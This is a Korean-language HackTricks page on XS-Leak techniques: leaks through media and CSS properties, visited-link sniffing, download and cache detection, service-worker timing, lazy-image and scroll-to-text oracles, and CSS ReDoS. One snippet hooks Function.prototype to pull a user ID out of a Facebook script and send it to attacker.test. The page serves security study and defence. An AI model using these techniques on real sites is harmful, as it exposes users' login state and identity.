HTML 요소를 통한 정보 유출은 웹 보안에서 우려되는 점입니다. 특히 사용자 정보에 따라 동적으로 미디어 파일이 생성되거나 워터마크가 추가되어 미디어 크기가 달라지는 경우, 공격자는 특정 HTML 요소가 노출하는 정보를 분석해 가능한 상태를 구분할 수 있습니다.

Information Exposed by HTML Elements

  • HTMLMediaElement: 이 요소는 미디어의 duration과 buffered 시간을 노출하며, 해당 API를 통해 접근할 수 있습니다. Read more about HTMLMediaElement
  • HTMLVideoElement: videoHeight와 videoWidth를 노출합니다. 일부 브라우저에서는 webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, webkitDecodedFrameCount와 같은 추가 속성이 제공되어 미디어 콘텐츠에 관한 더 자세한 정보를 제공합니다. Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): 이 함수는 totalVideoFrames를 포함한 비디오 재생 품질에 대한 세부 정보를 제공하며, 처리된 비디오 데이터의 양을 나타낼 수 있습니다. Read more about getVideoPlaybackQuality()
  • HTMLImageElement: 이 요소는 이미지의 height와 width를 누출합니다. 다만 이미지가 유효하지 않은 경우 이러한 속성은 0을 반환하고, image.decode() 함수는 거부되어 이미지 로드 실패를 나타냅니다. Read more about HTMLImageElement

CSS Property

웹 애플리케이션은 사용자의 상태에 따라 웹사이트 스타일을 변경할 수 있습니다. Cross-origin CSS 파일은 공격자 페이지에 HTML link element로 포함될 수 있으며, 규칙들은 공격자 페이지에 적용됩니다. 페이지가 이러한 규칙을 동적으로 변경하면 공격자는 사용자 상태에 따라 이러한 차이점을 감지할 수 있습니다.
leak 기법으로 공격자는 특정 HTML 요소의 CSS 속성을 읽기 위해 window.getComputedStyle 메서드를 사용할 수 있습니다. 결과적으로, 영향을 받는 요소와 속성 이름을 알고 있다면 공격자는 임의의 CSS 속성을 읽을 수 있습니다.

CSS History

Tip

According to this, this is not working in headless Chrome.

CSS :visited 선택자는 사용자가 이전에 방문한 URL에 대해 스타일을 다르게 적용하는 데 사용됩니다. 과거에는 getComputedStyle() 메서드를 사용해 이러한 스타일 차이를 식별할 수 있었습니다. 하지만 최신 브라우저들은 링크의 상태를 드러내지 않도록 보안 조치를 도입했습니다. 여기에는 항상 링크가 방문된 것처럼 계산된 스타일을 반환하고 :visited 선택자에 적용 가능한 스타일을 제한하는 조치가 포함됩니다.

이러한 제한에도 불구하고 link의 방문 여부를 간접적으로 판별하는 방법은 존재합니다. 한 기법은 사용자를 CSS 영향을 받는 영역과 상호작용하도록 유도하는 것으로, 특히 mix-blend-mode 속성을 이용합니다. 이 속성은 요소를 배경과 블렌딩할 수 있게 하여 사용자 상호작용에 따라 방문 상태를 드러낼 수 있습니다.

또한, 렌더링 타이밍을 악용해 사용자 상호작용 없이 방문 여부를 감지할 수 있습니다. 브라우저가 방문한 링크와 방문하지 않은 링크를 다르게 렌더링하면 렌더링에 측정 가능한 시간 차이가 발생할 수 있습니다. Chromium 버그 리포트에 언급된 PoC는 이 타이밍 차이를 증폭하기 위해 여러 링크를 사용하여 방문 상태를 timing 분석으로 감지하는 방법을 보여줍니다.

이 속성과 방법들에 대한 자세한 정보는 다음 문서를 참고하세요:

ContentDocument X-Frame Leak

Chrome에서는 X-Frame-Options 헤더가 “deny” 또는 “same-origin“으로 설정된 페이지가 object로 포함되었을 때 에러 페이지가 표시됩니다. Chrome은 iframe이나 다른 브라우저와 달리 이 object의 contentDocument 속성에 대해 null 대신 빈 문서 객체를 반환하는 독특한 동작을 보입니다. 공격자는 이 빈 문서를 감지하여 사용자의 상태에 대한 정보를 유출할 수 있습니다. 개발자가 X-Frame-Options 헤더 설정을 일관되게 적용하지 않아 에러 페이지를 놓치는 경우가 종종 있기 때문에 주의와 일관된 보안 헤더 적용이 중요합니다.

Download Detection

Content-Disposition 헤더 중 Content-Disposition: attachment는 브라우저에게 콘텐츠를 인라인으로 표시하지 않고 다운로드하도록 지시합니다. 이 동작을 이용하면 공격자는 사용자가 파일 다운로드를 유발하는 페이지에 접근 권한이 있는지 감지할 수 있습니다. Chromium 기반 브라우저에서는 다음과 같은 몇 가지 기법으로 이 다운로드 동작을 감지할 수 있습니다:

  1. Download Bar 모니터링:
  • Chromium 기반 브라우저에서 파일을 다운로드하면 브라우저 창 하단에 download bar가 나타납니다.
  • 창 높이의 변화를 모니터링함으로써 공격자는 download bar의 출현을 추론할 수 있으며, 이는 다운로드가 시작되었음을 암시합니다.
  1. Iframes를 이용한 Download Navigation:
  • Content-Disposition: attachment 헤더로 파일 다운로드를 유발하는 페이지는 네비게이션 이벤트를 발생시키지 않습니다.
  • 해당 콘텐츠를 iframe에 로드하고 네비게이션 이벤트를 모니터링하면, 콘텐츠가 파일 다운로드를 유발하는지(네비게이션 없음) 아니면 인라인으로 표시되는지(네비게이션 발생하는지)를 확인할 수 있습니다.
  1. Iframes 없이 Download Navigation:
  • iframe 기법과 유사하게, 이 방법은 iframe 대신 window.open을 사용합니다.
  • 새로 열린 창에서 네비게이션 이벤트를 모니터링하면 파일 다운로드가 트리거되었는지(네비게이션 없음) 아니면 콘텐츠가 인라인으로 표시되었는지(네비게이션 발생) 판단할 수 있습니다.

이러한 다운로드는 로그인한 사용자만 트리거할 수 있는 경우가 많으므로, 이 기법들은 다운로드 요청에 대한 브라우저의 응답을 기반으로 사용자의 인증 상태를 간접적으로 추론하는 데 사용될 수 있습니다.

Partitioned HTTP Cache Bypass

Warning

This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)

사이트 example.com이 *.example.com/resource에서 리소스를 포함하면, 해당 리소스는 탑레벨 네비게이션을 통해 직접 요청한 것과 같은 캐싱 키를 갖습니다. 이는 캐싱 키가 탑레벨의 _eTLD+1_과 프레임의 _eTLD+1_으로 구성되기 때문입니다.

캐시 접근은 리소스 로드보다 더 빠르므로, 페이지의 위치를 변경하고 예를 들어 20ms 후에 취소해 보는 식으로 캐시 여부를 확인할 수 있습니다. 만약 중단 후에 origin이 변경되었다면 해당 리소스가 캐시되어 있었음을 의미합니다.
또는 단순히 잠재적으로 캐시된 페이지에 fetch를 보내고 소요 시간을 측정해도 됩니다.

Manual Redirect

Fetch with AbortController

_fetch_와 _setTimeout_을 AbortController와 함께 사용하여 특정 리소스가 캐시되었는지 감지하고 브라우저 캐시에서 특정 리소스를 제거(evict)할 수 있습니다. 또한 이 과정은 새로운 콘텐츠를 캐싱하지 않고 발생합니다.

Script Pollution

프로토타입 훅을 이용한 모듈 범위 데이터 추출

모듈을 로드하기 전에 Function.prototype.default와 Function.prototype.__esModule = 1을 미리 정의하면, 해당 모듈의 default export가 당신의 훅을 호출하게 되어(e.g., {userID: ...}를 받음) timing이나 무차별 대입 없이 모듈 범위의 값을 읽을 수 있습니다.

<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>

The request itself also becomes a login-state oracle if the script only loads for authenticated users.

Service Workers

In the given scenario, the attacker takes the initiative to register a service worker within one of their domains, specifically “attacker.com”. Next, the attacker opens a new window in the target website from the main document and instructs the service worker to commence a timer. As the new window begins to load, the attacker navigates the reference obtained in the previous step to a page managed by the service worker.

Upon arrival of the request initiated in the preceding step, the service worker responds with a 204 (No Content) status code, effectively terminating the navigation process. At this point, the service worker captures a measurement from the timer initiated earlier in step two. This measurement is influenced by the duration of JavaScript causing delays in the navigation process.

Warning

실행 타이밍 공격에서는 네트워크 요인을 제거하여 더 정밀한 측정값을 얻을 수 있습니다. 예를 들어, 페이지에서 사용하는 리소스를 미리 로드한 후에 페이지를 로드하는 방식으로 네트워크 변동을 줄일 수 있습니다.

Fetch Timing

Cross-Window Timing

Subdomain probing for identity/login state

  • Inclusion Methods: HTML Elements (script), Frames
  • Detectable Difference: DNS/HTTP load success, CORB/header changes
  • Summary: If identifiers live in subdomain labels (e.g., www.<username>.sb.facebook.com), request resources on candidate hosts and treat onload vs onerror/timeouts as a Boolean. Combine with login-only scripts (e.g., /signals/iwl.js) to brute-force usernames and verify auth to related properties.
  • Note: Signals can be amplified with different inclusion types (script, iframe, object) to detect X-Frame-Options, CORB, or redirect differences per candidate.

With HTML or Re Injection

여기서는 cross-origin HTML에 HTML 콘텐츠를 주입하는 상황에서 정보를 유출(exfiltrate)하는 기법들을 설명합니다. 이 기법들은 어떤 이유로든 HTML은 주입할 수 있지만 JS 코드는 주입할 수 없는 경우에 특히 유용합니다.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

만약 콘텐츠를 exfiltrate해야 하고 비밀(secret) 앞에 HTML을 추가할 수 있는 상황이라면 common dangling markup techniques을 먼저 확인해야 합니다.
하지만 어떤 이유로든 반드시(char by char) 하나씩 빼내야 하는 경우(예: 통신이 캐시 히트로 이루어지는 경우)에는 이 트릭을 사용할 수 있습니다.

Images 태그는 “loading” 속성을 가지며 그 값으로 “lazy“를 사용할 수 있습니다. 이 경우 이미지는 페이지 로드 시점이 아니라 사용자가 해당 이미지를 볼 때 로드됩니다:

<img src=/something loading=lazy >

따라서 할 수 있는 방법은 많은 junk chars를 추가하는 것입니다 (예: 수천 개의 “W”)로 secret 앞의 웹 페이지를 채우거나 다음과 같은 요소를 추가 <br><canvas height="1850px"></canvas><br>.
그런 다음 예를 들어 우리의 injection appear before the flag, image는 loaded되지만, after에 나타나면 flag + 정크가 prevent it from being loaded합니다 (얼마나 많은 정크를 넣을지 조절해야 합니다). 이건 this writeup에서 발생한 일입니다.

Another option would be to use the scroll-to-text-fragment if allowed:

Scroll-to-text-fragment

하지만, 예를 들어 다음과 같이 bot access the page 하게 합니다:

#:~:text=SECR

예를 들어 웹 페이지는 다음과 같을 것입니다: https://victim.com/post.html#:~:text=SECR

post.html에는 공격자의 junk chars와 lazy load image가 포함되어 있고, 그 아래에 봇의 비밀이 추가됩니다.

이 텍스트는 봇이 페이지 내에서 SECR 텍스트를 포함하는 모든 텍스트에 접근하게 만듭니다. 해당 텍스트가 비밀이고 이미지 바로 아래에 있으므로, 추정한 비밀이 정확할 때에만 이미지가 로드됩니다. 이렇게 해서 비밀을 한 글자씩 exfiltrate할 수 있는 오라클을 만들 수 있습니다.

Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Image Lazy Loading Time Based

If it’s not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn’t loaded. This is what was used in the solution of this writeup 요약하면 다음과 같습니다:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

jQuery(location.hash)가 사용되는 경우, 타이밍을 통해 일부 HTML 콘텐츠가 존재하는지 알아낼 수 있습니다. 이는 선택자 main[id='site-main']가 일치하지 않으면 나머지 selectors를 확인할 필요가 없기 때문입니다:

$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

완화책

권장되는 완화책은 https://xsinator.com/paper.pdf와 위키의 각 섹션 https://xsleaks.dev/에 정리되어 있습니다. 이러한 기법으로부터 보호하는 방법에 대한 자세한 내용은 해당 자료들을 참고하세요.

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기